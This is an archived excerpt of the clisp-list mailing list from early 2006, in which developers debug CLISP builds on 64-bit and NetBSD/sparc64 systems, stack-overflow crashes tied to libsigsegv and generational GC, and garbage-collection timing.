Feb 2006 06:04:55 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FE5TB-0001pF-Q3 for clisp-list@lists.sourceforge.net; Tue, 28 Feb 2006 06:04:55 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 28 Feb 2006 15:04:43 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 28 Feb 2006 15:04:43 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308B1AD7B@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] experiments with 64 bit machine - GC and paging MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 28 06:05:08 2006 X-Original-Date: Tue, 28 Feb 2006 15:04:40 +0100 Don Cohen wrote: >The result below shows one minor bug in TIME. src/time.d:821 has var uintL used = used_space(); /* momentan belegter Platz */ Could you please change the declaration to uintM instead and report results? Then, I'll patch CVS. Someday, I (or anybody else) should go again through all the warnings the compilers emit and review and remove them. Here, I'd have expected a warning from gcc (on your 64bit box) about loosing bits. Actually, eveybody is welcome to eliminate compiler warnings and submit patches. Warnings have been reviewed in clisp a couple of times in the past. But then they start accumulating once again. I have yet to understand all your numbers and what you derive from them. BTW, did you try building a no-unicode CLISP? It would have different string behaviour. Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Tue Feb 28 08:19:09 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FE7Z4-00036b-Ti for clisp-list@lists.sourceforge.net; Tue, 28 Feb 2006 08:19:06 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FE7Z2-00052d-VG for clisp-list@lists.sourceforge.net; Tue, 28 Feb 2006 08:19:06 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FE7YR-0002CZ-6o for clisp-list@lists.sourceforge.net; Tue, 28 Feb 2006 17:18:31 +0100 Received: from c83-248-123-63.bredband.comhem.se ([83.248.123.63]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 28 Feb 2006 17:18:27 +0100 Received: from mange by c83-248-123-63.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 28 Feb 2006 17:18:27 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 25 Message-ID: <873bi3qwz9.fsf@freemail.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-123-63.bredband.comhem.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:Lj2HJ5BeAsSpz9CDvnX2rHeTkJE= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] NetBSD/sparc64: void value not ignored Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 28 08:20:14 2006 X-Original-Date: Tue, 28 Feb 2006 17:17:14 +0100 I'm trying to build CVS HEAD on NetBSD/sparc64 3.0, with the command line: ./configure --with-libiconv-prefix=/usr/pkg --with-libsigsegv-prefix=/usr/local --with-debug --build build-basil The build fails with this error (likewise with clisp 2.38): gcc -I/usr/pkg/include -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE -DNO_GETTEXT -I. -c lisparit.c In file included from lisparit.d:8: lispbibl.d:8962: warning: volatile register variables don't work as you might wish In file included from lisparit.d:36: intdiv.d: In function `I_I_divide_I_I': intdiv.d:312: error: void value not ignored as it ought to be intdiv.d:312: error: void value not ignored as it ought to be In file included from lisparit.d:39: intsqrt.d: In function `UDS_sqrt_': intsqrt.d:235: warning: statement with no effect intsqrt.d:292: warning: statement with no effect *** Error code 1 Stop. Magnus From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 01 07:09:53 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FESxc-0001jo-U4 for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 07:09:52 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FESxc-0003dP-40 for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 07:09:52 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 1 Mar 2006 16:09:44 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 1 Mar 2006 16:09:44 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308BCAB87@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: e@flavors.com Cc: bruno@clisp.org, sds@gnu.org, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with libsig segv 2.2 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 1 07:10:11 2006 X-Original-Date: Wed, 1 Mar 2006 16:09:42 +0100 Doug, you wrote half a year ago: >Sent: Samstag, 26. Marz 2005 00:31 >Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with >libsigsegv 2.2 >I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c, >and their repair restores CLISP to correct stack overflow handling. [MS-WinXP specific behaviour and patches omited] I find it amazing how you managed to find this out. Could you give me some advice on how to track down another possibly similar bug in CLISP? There's a long standing bug somewhere in clisp or libsigsegv that manifests when GENERATIONAL_GC is active. I'd like to track it down. It raises SIGSEGV in Linux. CLISP built with MS-VC6 does not crash (on my MS-w2k machine). The MS-Windows MS-VC version is thus currently more lenient (esp. towards beginners causing infinite recursion errors). I'm using libsigsegv from CVS (thus it contains your patches, but IIRC even the original libsigsegv-2.2 works on MS-w2k). Try out ](defun f () (f)) F ](f) ; in the interpreter This causes a sigsegv on Linux. With MS-VC6, it just says (clisp-2.38/CVS): [16]> (f) *** - Program stack overflow. RESET [17]> Related bug reports are: http://sourceforge.net/tracker/index.php?func=detail&aid=1180386&group_id=1355&atid=101355 http://sourceforge.net/tracker/index.php?func=detail&aid=1411868&group_id=1355&atid=101355 Thanks, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 01 08:03:27 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FETnT-00081O-9e for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 08:03:27 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FETnR-0004Uh-8e for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 08:03:27 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 1 Mar 2006 17:03:16 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 1 Mar 2006 17:03:16 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308BCAC25@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: mange@freemail.hu Subject: Re: [clisp-list] NetBSD/sparc64: void value not ignored MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 1 08:04:15 2006 X-Original-Date: Wed, 1 Mar 2006 17:03:09 +0100 Magnus Henoch writes: >I'm trying to build CVS HEAD on NetBSD/sparc64 3.0, with the command >line: >gcc [...]-g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 >-DUNICODE -DNO_GETTEXT -I. -c lisparit.c Why are you starting with a debug build? Because you encountered other problems? What version of gcc is this? >In file included from lisparit.d:8: >lispbibl.d:8962: warning: volatile register variables don't >work as you might wish >In file included from lisparit.d:36: >intdiv.d: In function `I_I_divide_I_I': >intdiv.d:312: error: void value not ignored as it ought to be >intdiv.d:312: error: void value not ignored as it ought to be Please try out this change in src/arilev0.d:1175: replace divu_6432_3232(...,q=,);}\ with ...,q=,_EMA_);}\ and reports results. I'm not sure this is it because you use gcc and I would not have expected gcc's cccp to cause trouble here. Otherwise please do make lisparit.i and try to investigate the section around # 285 "intdiv.d" static void I_I_divide_I_I (object x, object y) ... or post the snippet here (or send me whole file, privately). I've tried to come as close as I can to your setup, but this just means "-DWIDE_SOFT_LARGEFIXNUM" on an Intel 32bit Linux box. No error there. Regards, Jorg Hohle. From e@flavors.com Wed Mar 01 09:11:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FEUrV-0007WD-D3 for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 09:11:41 -0800 Received: from [208.252.48.26] (helo=mail.drrizzick.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1FEUrU-0005h8-V6 for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 09:11:41 -0800 Received: from [192.168.168.25] by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id FUM24221; Wed, 1 Mar 2006 12:11:21 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <1972247153.20060301121058@flavors.com> To: clisp-list@lists.sourceforge.net CC: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with libsig segv 2.2 In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0308BCAB87@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A0308BCAB87@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 1 09:12:05 2006 X-Original-Date: Wed, 1 Mar 2006 12:10:58 -0500 Wednesday, March 1, 2006, 10:09:42 AM, Jorg wrote: > you wrote half a year ago: >>Sent: Samstag, 26. Marz 2005 00:31 >>Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with >>libsigsegv 2.2 >>I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c, >>and their repair restores CLISP to correct stack overflow handling. > [MS-WinXP specific behaviour and patches omited] > I find it amazing how you managed to find this out. > Could you give me some advice on how to track down another possibly similar bug in CLISP? Oh, painful memories! I wish I could help you; my adventure tracking this down involved many rebuilds of CLISP with printf()s at strategic points. gdb was partly helpful, but generally lost once the error occurred. The final breakthroughs came with a detailed code walk though, i.e., executing the relevant code in my head. > There's a long standing bug somewhere in clisp or libsigsegv that > manifests when GENERATIONAL_GC is active. I'd like to track it > down. It raises SIGSEGV in Linux. > CLISP built with MS-VC6 does not crash (on my MS-w2k machine). > The MS-Windows MS-VC version is thus currently more lenient (esp. > towards beginners causing infinite recursion errors). > I'm using libsigsegv from CVS (thus it contains your patches, but > IIRC even the original libsigsegv-2.2 works on MS-w2k). The patches in the CVS are not *identical* to mine, but very close. I am continuing to use my patched libsigsegv-2.2, not the CVS version. This is not because I have any issue with the CVS changes, but only because I had it working, so I stopped focusing on libsigsegv. Here is my configuration: C:\Dev\clisp\clisp-2.38\build-mingw>clisp --version GNU CLISP 2.38 (2006-01-24) (built 3348940254) (memory 3348940714) Software: GNU C 3.4.5 (mingw special) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno -sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GET TEXT -I. -x none libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/u sr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp) > Try out > ](defun f () (f)) > F > ](f) ; in the interpreter > This causes a sigsegv on Linux. > With MS-VC6, it just says (clisp-2.38/CVS): > [16]> (f) > *** - Program stack overflow. RESET > [17]> It is fine for my setup (my initial problem was with *two* stack overflows, one after the other)... [1]> (defun f () (f)) F [2]> (f) *** - Program stack overflow. RESET [3]> (f) *** - Program stack overflow. RESET [4]> (f) *** - Program stack overflow. RESET [5]> e From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 01 10:02:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FEVf2-00058w-Js for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 10:02:52 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FEVf2-0003un-5n for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 10:02:52 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 1 Mar 2006 19:02:42 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 1 Mar 2006 19:02:42 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308BCAD08@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: e@flavors.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp crash on infinite recursion on mingw/cygwin? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 1 10:03:04 2006 X-Original-Date: Wed, 1 Mar 2006 19:02:37 +0100 Hi, Doug, thank you for your report. Could other mingw and/or cygwin users please report observed stack overflow behaviour? I'm asking because Sam Steingold's initial bug report http://sourceforge.net/tracker/index.php?func=detail&aid=1411868&group_id=1355&atid=101355 mentions using mingw, while Doug Currie using mingw does not observe it. I don't observe a crash with MS-VC6 either. Dear mingw users, please report your version and results. Please include output from lisp.exe -B . --version or (software-type). If you're on MS-Windows XP, you'll need the cvs version of libsigsegv (with patches adapted from Doug). Otherwise you can use the release-2.2 (e.g. it should work on MS-w2k like I have). E-Mail me and I can send you my MS-VC6 build of libsigsegv.lib + libsigsegv.h from CVS. >The patches in the CVS are not *identical* to mine, but very close. I >am continuing to use my patched libsigsegv-2.2, not the CVS version. >Here is my configuration: >C:\Dev\clisp\clisp-2.38\build-mingw>clisp --version >GNU CLISP 2.38 (2006-01-24) (built 3348940254) (memory 3348940714) >Software: GNU C 3.4.5 (mingw special) >gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith > -lsigsegv >SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC >SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY >libsigsegv 2.2 >It is fine for my setup (my initial problem was with *two* stack >overflows, one after the other)... IIRC (really?) I observed that on Linux as well (or with one overflow and an explicit call to ext:gc), but with later versions of CLISP, a single stack overflow was enough to get a SIGSEGV. >[1]> (defun f () (f)) >[2]> (f) >*** - Program stack overflow. RESET >[3]> (f) >*** - Program stack overflow. RESET >[4]> (f) >*** - Program stack overflow. RESET >[5]> Works great as well here on MS-w2k with my MS-VC6. Or when disabling generational GC on Linux (ouch!). Regards, Jorg hohle. From don-sourceforge-xx@isis.cs3-inc.com Wed Mar 01 14:05:13 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FEZRZ-0006Dn-5x for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 14:05:13 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FEZRX-0004Bv-Ow for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 14:05:13 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 1E2F71A81CC; Wed, 1 Mar 2006 14:05:10 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17414.6806.65752.597601@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] experiments with 64 bit machine - GC and paging In-Reply-To: <20060301040123.BC05089033@sc8-sf-spam1.sourceforge.net> References: <20060301040123.BC05089033@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 1 14:06:06 2006 X-Original-Date: Wed, 1 Mar 2006 14:05:10 -0800 > >The result below shows one minor bug in TIME. > src/time.d:821 has > var uintL used = used_space(); /* momentan belegter Platz */ > Could you please change the declaration to uintM instead > and report results? Then, I'll patch CVS. probably not the result you wanted - first execution of lisp ends in ... ;; Loading file international.fas ... ;; Loaded file international.fas *** - incorrect date: 2006-2-27 18:11:21, time zone T Bye. > I have yet to understand all your numbers and what you derive from > them. BTW, did you try building a no-unicode CLISP? It would have > different string behaviour. I don't understand why this should be the case. Unicode strings are GC's as if they might contain pointers? Perhaps instead I should make-array :element-type '(unsigned-byte 8) ? From don-sourceforge-xx@isis.cs3-inc.com Wed Mar 01 16:17:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FEbVi-00050Q-2w for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 16:17:38 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FEbVh-0002n7-SD for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 16:17:38 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 41ED81A81CC; Wed, 1 Mar 2006 16:17:46 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: <17414.14762.215542.305008@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] AMD 64 - time and unicode In-Reply-To: <20060301040123.BC05089033@sc8-sf-spam1.sourceforge.net> References: <20060301040123.BC05089033@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 1 16:18:02 2006 X-Original-Date: Wed, 1 Mar 2006 16:17:46 -0800 I must have confused things by trying to do both TIME and --without-unicode at the same time. Then there's the cache file. I now avoid that by using a new build directory and things seem to work. > >The result below shows one minor bug in TIME. > src/time.d:821 has > var uintL used = used_space(); /* momentan belegter Platz */ > Could you please change the declaration to uintM instead > and report results? Then, I'll patch CVS. after the change above I do ./configure --with-module=rawsock --build build-time (takes 15 min) this time I use (push (make-array 64000000 :element-type '(unsigned-byte 8)) a) which I assume is unaffected by unicode. After 18 min I pass the 4GB mark. Next I'll try no unicode. From don-sourceforge-xx@isis.cs3-inc.com Wed Mar 01 22:29:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FEhK1-00028v-VQ for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 22:29:57 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FEhK1-0001eZ-NH for clisp-list@lists.sourceforge.net; Wed, 01 Mar 2006 22:29:58 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 4C9DB1A81CC; Wed, 1 Mar 2006 22:30:11 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Message-ID: <17414.37107.256188.918409@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: clisp-list@lists.sourceforge.net In-Reply-To: <20060301040123.BC05089033@sc8-sf-spam1.sourceforge.net> References: <20060301040123.BC05089033@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] AMD 64 --without-unicode bugs and gc time comparisons Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 1 22:30:01 2006 X-Original-Date: Wed, 1 Mar 2006 22:30:11 -0800 > >The result below shows one minor bug in TIME. > src/time.d:821 has > var uintL used = used_space(); /* momentan belegter Platz */ > Could you please change the declaration to uintM instead > and report results? Previously I reported success with the change above to fix the TIME bug. Now I try: ./configure --without-unicode --with-module=rawsock --build build-time-bouni and 3:50 later get ... gmake[1]: Entering directory `/root/clisp/build-time-bouni/rawsock' /root/clisp/build-time-bouni/lisp.run -M /root/clisp/build-time-bouni/lispinit.mem -B /root/clisp/build-time-bouni -N /root/clisp/build-time-bouni/locale -norc -q -c sock.lisp ;; Compiling file /root/clisp/build-time-bouni/rawsock/sock.lisp ... *** - READ from # : # has no external symbol with name "*PATHNAME-ENCODING*" 0 errors, 0 warnings gmake[1]: *** [sock.fas] Error 1 gmake[1]: Leaving directory `/root/clisp/build-time-bouni/rawsock' make: *** [rawsock] Error 2 I guess that's something in rawsock/sock.lisp that should be #+unicode. Or perhaps ext:*PATHNAME-ENCODING* should be defined even without unicode. I now undo the time patch and remove --with-module=rawsock That ends in the testing phase: (PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST CHARACTER)) (:RETURN-TYPE UINT8) (:LANGUAGE :STDC)) (C-SELF #\a)) EQL-OK: 97 *** - READ from #: there is no character with name ... The character appears as a 0 overstruck with /. So ffi.tst evidently also needs some #+unicode. There might be more errors like that in later tests that I didn't try, but now I at least have an image on which to try my allocation test. Below is a summary of GC times (leaving out the first few that probably don't require swap) for three different cases: no-uni string - allocate strings with no unicode unsigned-byte 8 - allocate unsigned-byte 8 unicode string - allocate strings with unicode In all cases the allocations are in increments of 64e6. The GCs all happen at the same places, indicated by the mem/1e6 which shows the result of (room) without the last 6 digits, and I think you'll agree that the times (the run times even more than the real times) suggest that they're all doing the same thing and that my observation of periodic high values is at least consistent, whether or not I've guessed the right explanation. no-uni string unsigned-byte 8 unicode string mem/1e6 real run real run real run 323 .006022 .008001 0.023212 0.004 0.005846 0.004 387 7.7997 .296018 3.94004 0.372024 6.633268 0.264016 451 16.095 .696044 17.114365 0.664041 18.841158 0.740047 515 .066713 .0 0.022602 0.012 0.126884 0.008001 579 5.079163 .228014 5.04138 0.292019 5.773475 0.268016 643 15.441946 .740046 15.692896 0.64804 22.985209 0.63204 771 12.199034 .672042 5.025343 0.31202 3.833959 0.344021 899 7.454856 .508031 8.497832 0.460029 8.203136 0.588037 1027 39.15916 1.312082 28.47756 1.480092 18.389574 1.024065 1283 13.952275 .936059 17.760742 0.956059 15.947491 0.968061 1539 26.215145 1.384087 13.447388 1.280081 15.635337 1.276079 1795 179.30795 3.924245 256.31583 3.856241 178.18216 3.988249 2243 71.68238 1.848115 58.395687 1.660104 48.662895 1.76011 2691 29.071373 2.828177 28.100023 2.612164 27.402533 2.656167 3139 625.094 8.104507 564.1191 7.988499 586.89154 7.660479 3907 82.473366 4.820301 46.244835 4.608288 44.82365 4.368273 Again, my real question is why it should take any significant time to GC in the case where almost all of the memory is known to contain no pointers. Perhaps it's time to start reading the GC code. From David.Allen2@ngc.com Thu Mar 02 06:16:35 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FEobb-0000fb-9o for clisp-list@lists.sourceforge.net; Thu, 02 